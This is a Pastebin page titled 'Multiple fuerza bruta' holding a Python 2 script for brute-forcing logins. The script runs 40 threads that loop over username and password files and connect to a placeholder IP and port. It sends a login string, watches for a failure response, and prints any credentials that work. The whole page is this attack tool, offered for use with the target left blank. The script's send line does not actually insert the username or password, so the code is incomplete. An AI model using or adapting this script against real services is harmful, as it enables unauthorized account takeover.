CreadPag

Multiple fuerza bruta

Mar 12th, 2017
230
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.68 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import threading
  4. import Queue
  5. import socket
  6.  
  7. usernameList = open('users.txt','r').read().splitlines()
  8. passwordList = open('passwords.txt','r').read().splitlines()
  9.  
  10. class WorkerThread(threading.Thread) :
  11.  
  12.     def __init__(self, queue, tid) :
  13.         threading.Thread.__init__(self)
  14.         self.queue = queue
  15.         self.tid = tid
  16.  
  17.     def run(self) :
  18.         while True :
  19.             username = None
  20.  
  21.             try :
  22.                 username = self.queue.get(timeout=1)
  23.  
  24.             except  Queue.Empty :
  25.                 return
  26.  
  27.             try :
  28.                 for password in passwordList:
  29.                                     tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  30.                                     tcpSocket.connect(('### IP Address ###',### Port ###))
  31.                                     tcpSocket.recv(1024)
  32.                                     tcpSocket.send("### Syntax that allows login ###")
  33.                                     if '### Fail Response ###' in tcpSocket.recv(1024):
  34.                                             tcpSocket.close()
  35.                                             print "Failed " + username + "/" + password
  36.                                     else:
  37.                                             print "[+] Successful Login! Username: " + username + " Password: " + password
  38.             except :
  39.                 raise
  40.  
  41.             self.queue.task_done()
  42.  
  43. queue = Queue.Queue()
  44.  
  45. threads = []
  46. for i in range(1, 40) : # Number of threads
  47.     worker = WorkerThread(queue, i)
  48.     worker.setDaemon(True)
  49.     worker.start()
  50.     threads.append(worker)
  51.  
  52. for username in usernameList :
  53.     queue.put(username)     # Push usernames onto queue
  54.  
  55. queue.join()
  56.  
  57. # wait for all threads to exit
  58.  
  59. for item in threads :
  60.     item.join()
  61.  
  62. print "Testing Complete!"
Add Comment
Please, Sign In to add comment